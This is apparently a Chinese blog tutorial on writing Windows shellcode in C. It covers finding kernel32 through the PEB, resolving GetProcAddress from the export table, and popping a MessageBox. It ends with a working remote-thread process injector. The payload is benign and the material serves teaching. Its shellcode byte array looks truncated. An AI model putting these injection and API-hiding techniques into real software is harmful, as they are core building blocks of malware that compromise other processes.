在筆者前幾篇文章中,我們使用彙編語言並通過自定位的方法實現了一個簡單的`MessageBox`彈窗功能,但由於彙編語言過於繁瑣在編寫效率上不僅要考驗開發者的底層功底,還需要寫出更多的指令集,這對於普通人來說是非常困難的,當然除了通過彙編來實現`ShellCode`的編寫以外,使用C同樣可以實現編寫,... ...
在筆者前幾篇文章中,我們使用彙編語言並通過自定位的方法實現了一個簡單的MessageBox
彈窗功能,但由於彙編語言過於繁瑣在編寫效率上不僅要考驗開發者的底層功底,還需要寫出更多的指令集,這對於普通人來說是非常困難的,當然除了通過彙編來實現ShellCode
的編寫以外,使用C同樣可以實現編寫,在多數情況下讀者可以直接使用C開發,只有某些環境下對ShellCode條件有極為苛刻的長度限制時才會考慮使用彙編。
相較於彙編語言,使用C編寫Shellcode
可以更加方便、高效,特別是對於需要大量計算的操作。在編寫Shellcode時,讀者需要註意以下幾點:
- 1.使用純C語言進行編寫:在編寫Shellcode時,需要避免使用C++標準庫或其他外部依賴庫,因為這些庫往往會增加代碼的長度和複雜度。
- 2.關閉編譯器優化:在編寫Shellcode時,需要關閉編譯器的優化功能,因為優化可能會改變代碼的執行順序,導致Shellcode無法正常工作。
- 3.避免使用全局變數和靜態變數:在Shellcode中,全局變數和靜態變數往往會導致代碼長度過長,並且這些變數的地址也可能與Shellcode中其他代碼的地址產生衝突。
- 4.使用裸指針和裸記憶體管理:為了減小Shellcode的長度和複雜度,需要使用裸指針和裸記憶體管理,這可以減少代碼中不必要的輔助函數調用。
- 5.不能使用全局變數,或者用static修飾的變數,在Shellcode中要自定義入口函數,所有的字元串都要用字元串數組的方式代替。
首先讀者應自行新建一個開發項目,並將編譯模式調整為Release
模式,這是因為Debug
模式下的代碼在轉換成彙編後首先都是一個JMP
指令,然後再跳到我們的功能代碼處,但JMP
指令是地址相關的 ,所以在轉換成ShellCode
時就會出錯。此外在讀者新建項目文件時請最好使用*.c
結尾而不要使用*.cpp
結尾。
當讀者新建文件以後,接下來請修改配置屬性,將運行庫修改為多線程(MT)
並關閉安全檢查機制,如下圖所示;
接著在連接器部分,新增一個EntryMain
入口點,預設的Main
入口點顯然時不能使用的,如下圖所示;
與前幾章中的內容原理一致,首先我們需要得到kernel32.dll
模塊的基址,這段代碼我們依然採用彙編實現,這裡需要註意__declspec(naked)
的含義,該聲明是微軟編譯器提供的一個擴展,它用於指示編譯器不要為函數自動生成函數頭和尾,並將函數轉化為裸函數。這種函數不會自動生成函數首碼和尾碼的代碼,也不會創建任何本地變數或保護寄存器。
在使用__declspec(naked)
聲明的函數中,開發者需要自己手動管理堆棧和調用函數的傳遞參數,然後在函數體中使用彙編指令實現所需的功能。使用__declspec(naked)
聲明的函數可以有效地減小生成的代碼大小,因為不需要在函數前後添加額外的代碼,而且可以精確控制函數內部的代碼。
註意:使用
__declspec(naked)
聲明的函數需要開發者對彙編語言有一定的瞭解,否則容易出現錯誤。在使用時,需要非常小心,確保在函數內部正確地管理堆棧和傳遞參數,以確保函數能夠正常工作。
// ----------------------------------------------
// 32位獲取模塊基址
// ----------------------------------------------
__declspec(naked) DWORD getKernel32()
{
__asm
{
mov eax, fs: [30h]
mov eax, [eax + 0ch]
mov eax, [eax + 14h]
mov eax, [eax]
mov eax, [eax]
mov eax, [eax + 10h]
ret
}
}
// ----------------------------------------------
// 64位獲取模塊基址
// ----------------------------------------------
/*
.code
getKernel32 proc
mov rax,gs:[60h]
mov rax,[rax+18h]
mov rax,[rax+30h]
mov rax,[rax]
mov rax,[rax]
mov rax,[rax+10h]
ret
getKernel32 endp
end
*/
當我們能夠拿到kernel32.dll
的模塊基址時,則接下來就是通過該基址得到Kernel32的模塊導出表,並獲取該導出表內的GetProcessAddress
函數的基址,至於為什麼需要這麼做,在讀者前面的文章中有詳細的分析,這裡就不再重覆敘述。
// ----------------------------------------------
// 32位取函數地址
// ----------------------------------------------
FARPROC getProcAddress(HMODULE hModuleBase)
{
PIMAGE_DOS_HEADER lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase;
PIMAGE_NT_HEADERS32 lpNtHeader = (PIMAGE_NT_HEADERS)((DWORD)hModuleBase + lpDosHeader->e_lfanew);
if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)
{
return NULL;
}
if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)
{
return NULL;
}
PIMAGE_EXPORT_DIRECTORY lpExports = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModuleBase + (DWORD)lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD lpdwFunName = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNames);
PWORD lpword = (PWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNameOrdinals);
PDWORD lpdwFunAddr = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfFunctions);
DWORD dwLoop = 0;
FARPROC pRet = NULL;
for (; dwLoop <= lpExports->NumberOfNames - 1; dwLoop++)
{
char* pFunName = (char*)(lpdwFunName[dwLoop] + (DWORD)hModuleBase);
if (pFunName[0] == 'G' &&
pFunName[1] == 'e' &&
pFunName[2] == 't' &&
pFunName[3] == 'P' &&
pFunName[4] == 'r' &&
pFunName[5] == 'o' &&
pFunName[6] == 'c' &&
pFunName[7] == 'A' &&
pFunName[8] == 'd' &&
pFunName[9] == 'd' &&
pFunName[10] == 'r' &&
pFunName[11] == 'e' &&
pFunName[12] == 's' &&
pFunName[13] == 's')
{
pRet = (FARPROC)(lpdwFunAddr[lpword[dwLoop]] + (DWORD)hModuleBase);
break;
}
}
return pRet;
}
// ----------------------------------------------
// 64位取函數地址
// ----------------------------------------------
/*
FARPROC getProcAddress(HMODULE hModuleBase)
{
PIMAGE_DOS_HEADER lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase;
PIMAGE_NT_HEADERS64 lpNtHeader = (PIMAGE_NT_HEADERS64)((ULONG64)hModuleBase + lpDosHeader->e_lfanew);
if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)
{
return NULL;
}
if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)
{
return NULL;
}
PIMAGE_EXPORT_DIRECTORY lpExports = (PIMAGE_EXPORT_DIRECTORY)((ULONG64)hModuleBase + (ULONG64)lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD lpdwFunName = (PDWORD)((ULONG64)hModuleBase + (ULONG64)lpExports->AddressOfNames);
PWORD lpword = (PWORD)((ULONG64)hModuleBase + (ULONG64)lpExports->AddressOfNameOrdinals);
PDWORD lpdwFunAddr = (PDWORD)((ULONG64)hModuleBase + (ULONG64)lpExports->AddressOfFunctions);
DWORD dwLoop = 0;
FARPROC pRet = NULL;
for (; dwLoop <= lpExports->NumberOfNames - 1; dwLoop++)
{
char* pFunName = (char*)(lpdwFunName[dwLoop] + (ULONG64)hModuleBase);
if (pFunName[0] == 'G' &&
pFunName[1] == 'e' &&
pFunName[2] == 't' &&
pFunName[3] == 'P' &&
pFunName[4] == 'r' &&
pFunName[5] == 'o' &&
pFunName[6] == 'c' &&
pFunName[7] == 'A' &&
pFunName[8] == 'd' &&
pFunName[9] == 'd' &&
pFunName[10] == 'r' &&
pFunName[11] == 'e' &&
pFunName[12] == 's' &&
pFunName[13] == 's')
{
pRet = (FARPROC)(lpdwFunAddr[lpword[dwLoop]] + (ULONG64)hModuleBase);
break;
}
}
return pRet;
}
*/
接著我們需要編寫主代碼邏輯,主代碼邏輯中使用GetProcAddress
和LoadLibraryW
來載入user32.dll
並調用其中的MessageBoxW
函數彈出一個消息框的示例。
下麵是代碼的詳細實現流程:
- 1.定義函數指針類型FN_GetProcAddress,用於存儲GetProcAddress函數的地址,該函數用於在載入的DLL中查找導出函數的地址。
- 2.通過getProcAddress函數獲取kernel32.dll中的GetProcAddress函數地址,並將其轉換為FN_GetProcAddress類型的函數指針fn_GetProcAddress。
- 3.定義函數指針類型FN_LoadLibraryW,用於存儲LoadLibraryW函數的地址,該函數用於載入指定的DLL文件。
- 4.定義名為xyLoadLibraryW的字元數組,存儲字元串"LoadLibraryW"。
- 5.使用fn_GetProcAddress函數指針獲取kernel32.dll中的LoadLibraryW函數的地址,並將其轉換為FN_LoadLibraryW類型的函數指針fn_LoadLibraryW。
- 6.定義函數指針類型FN_MessageBoxW,用於存儲MessageBoxW函數的地址,該函數用於彈出消息框。
- 7.定義名為xy_MessageBoxW的字元數組,存儲字元串"MessageBoxW"。
- 8.定義名為xy_user32的字元數組,存儲字元串"user32.dll"。
- 9.使用fn_LoadLibraryW函數指針載入user32.dll,並使用fn_GetProcAddress函數指針獲取其中的MessageBoxW函數地址,並將其轉換為FN_MessageBoxW類型的函數指針fn_MessageBoxW。
- 10.定義名為MsgBox和Title的wchar_t數組,用於存儲消息框的文本內容和標題。
- 11.使用fn_MessageBoxW函數指針彈出一個消息框,顯示MsgBox中的文本內容,並使用Title中的文本作為標題。
#include <Windows.h>
FARPROC getProcAddress(HMODULE hModuleBase);
DWORD getKernel32();
// extern "C" PVOID64 getKernel32();
// ----------------------------------------------
// 32位主函數
// ----------------------------------------------
int EntryMain()
{
// 定義指針,用於存儲GetProcAddress入口地址
typedef FARPROC(WINAPI* FN_GetProcAddress)(
_In_ HMODULE hModule,
_In_ LPCSTR lpProcName
);
FN_GetProcAddress fn_GetProcAddress = (FN_GetProcAddress)getProcAddress((HMODULE)getKernel32());
// 定義指針,用於存儲LoadLibraryW入口地址
typedef HMODULE(WINAPI* FN_LoadLibraryW)(
_In_ LPCWSTR lpLibFileName
);
char xyLoadLibraryW[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'W', 0 };
FN_LoadLibraryW fn_LoadLibraryW = (FN_LoadLibraryW)fn_GetProcAddress((HMODULE)getKernel32(), xyLoadLibraryW);
// 定義指針,用於存儲MessageBoxW入口地址
typedef int (WINAPI* FN_MessageBoxW)(
_In_opt_ HWND hWnd,
_In_opt_ LPCWSTR lpText,
_In_opt_ LPCWSTR lpCaption,
_In_ UINT uType);
wchar_t xy_user32[] = { 'u', 's', 'e', 'r', '3', '2', '.', 'd', 'l', 'l', 0 };
char xy_MessageBoxW[] = { 'M', 'e', 's', 's', 'a', 'g', 'e', 'B', 'o', 'x', 'W', 0 };
FN_MessageBoxW fn_MessageBoxW = (FN_MessageBoxW)fn_GetProcAddress(fn_LoadLibraryW(xy_user32), xy_MessageBoxW);
// 此處用於設置MessageBoxW彈窗的文本內容
wchar_t MsgBox[] = { 'H', 'e', 'l', 'l', 'o', 'L', 'y', 'S', 'h','a','r','k', 0 };
wchar_t Title[] = { 'T', 'E', 'S', 'T', 0 };
fn_MessageBoxW(NULL, MsgBox, Title, NULL);
return 0;
}
// ----------------------------------------------
// 64位主函數
// ----------------------------------------------
/*
int EntryMain()
{
typedef FARPROC(WINAPI* FN_GetProcAddress)(
_In_ HMODULE hModule,
_In_ LPCSTR lpProcName
);
FN_GetProcAddress fn_GetProcAddress = (FN_GetProcAddress)getProcAddress((HMODULE)getKernel32());
typedef HMODULE(WINAPI* FN_LoadLibraryW)(
_In_ LPCWSTR lpLibFileName
);
char xyLoadLibraryW[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'W', 0 };
FN_LoadLibraryW fn_LoadLibraryW = (FN_LoadLibraryW)fn_GetProcAddress((HMODULE)getKernel32(), xyLoadLibraryW);
typedef int (WINAPI* FN_MessageBoxW)(
_In_opt_ HWND hWnd,
_In_opt_ LPCWSTR lpText,
_In_opt_ LPCWSTR lpCaption,
_In_ UINT uType);
wchar_t xy_user32[] = { 'u', 's', 'e', 'r', '3', '2', '.', 'd', 'l', 'l', 0 };
char xy_MessageBoxW[] = { 'M', 'e', 's', 's', 'a', 'g', 'e', 'B', 'o', 'x', 'W', 0 };
FN_MessageBoxW fn_MessageBoxW = (FN_MessageBoxW)fn_GetProcAddress(fn_LoadLibraryW(xy_user32), xy_MessageBoxW);
wchar_t xy_Hello[] = { 'H', 'e', 'l', 'l', 'o', 'L', 'y', 'S', 'h', 'a', 'r', 'k', 0 };
wchar_t xy_tip[] = { 'T', 'E', 'S', 'T', 0 };
fn_MessageBoxW(NULL, xy_Hello, xy_tip, NULL);
return 0;
}
*/
至此讀者需要手動編譯上述代碼,當編譯通過之後,請打開WinHex
工具,並定位到ShellCode
的開頭位置,如下圖所示則是我們需要提取的指令集;
選中這片區域,並右鍵點擊編輯按鈕,找到複製,C源碼格式,此時讀者即可得到一個完整的源代碼格式;
至此讀者只需要一個註入器用於測試代碼的完善性,此處是簡單實現的一個註入器,代碼中shellcode
是我們上圖中提取出來的片段,讀者需要修改targetPid
為任意一個32位應用程式,並運行註入即可;
#include <windows.h>
#include <iostream>
using namespace std;
unsigned char shellcode[450] =
{
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x5C, 0x53, 0x56, 0x57, 0xE8, 0xD2, 0x00, 0x00, 0x00, 0x8B, 0xC8,
0xE8, 0xEB, 0x00, 0x00, 0x00, 0x8B, 0xF0, 0xC7, 0x45, 0xD8, 0x4C, 0x6F, 0x61, 0x64, 0x8D, 0x45,
0xD8, 0xC7, 0x45, 0xDC, 0x4C, 0x69, 0x62, 0x72, 0x50, 0xC7, 0x45, 0xE0, 0x61, 0x72, 0x79, 0x57,
0xC6, 0x45, 0xE4, 0x00, 0xE8, 0xA7, 0x00, 0x00, 0x00, 0x50, 0xFF, 0xD6, 0x33, 0xC9, 0xC7, 0x45,
0xC0, 0x75, 0x00, 0x73, 0x00, 0x66, 0x89, 0x4D, 0xD4, 0x8D, 0x4D, 0xE8, 0x51, 0x8D, 0x4D, 0xC0,
0x5D, 0xC3
};
int main(int argc, char *argv[])
{
DWORD targetPid = 2816;
HANDLE h_target = NULL;
LPVOID p_base = NULL;
HANDLE h_thread = NULL;
h_target = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
if (h_target == NULL)
{
goto main_end;
}
p_base = VirtualAllocEx(h_target, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (p_base == NULL)
{
goto main_end;
}
if (!WriteProcessMemory(h_target, p_base, (LPVOID)shellcode, sizeof(shellcode), NULL)) {
goto main_end;
}
h_thread = CreateRemoteThread(h_target, 0, 0, (LPTHREAD_START_ROUTINE)p_base, NULL, 0, NULL);
if (h_thread == NULL)
{
goto main_end;
}
main_end:
if (h_target)
CloseHandle(h_target);
if (h_thread)
CloseHandle(h_thread);
getchar();
return 0;
}
如果一切順利,則讀者可看到這段ShellCode已經在特定進程內實現運行了,並輸出瞭如下圖所示的彈窗提示;
原文地址
https://www.lyshark.com/post/9cc4ded5.html
文章作者:lyshark (王瑞)文章出處:https://www.cnblogs.com/LyShark/p/17549459.html
本博客所有文章除特別聲明外,均採用 BY-NC-SA 許可協議。轉載請註明出處!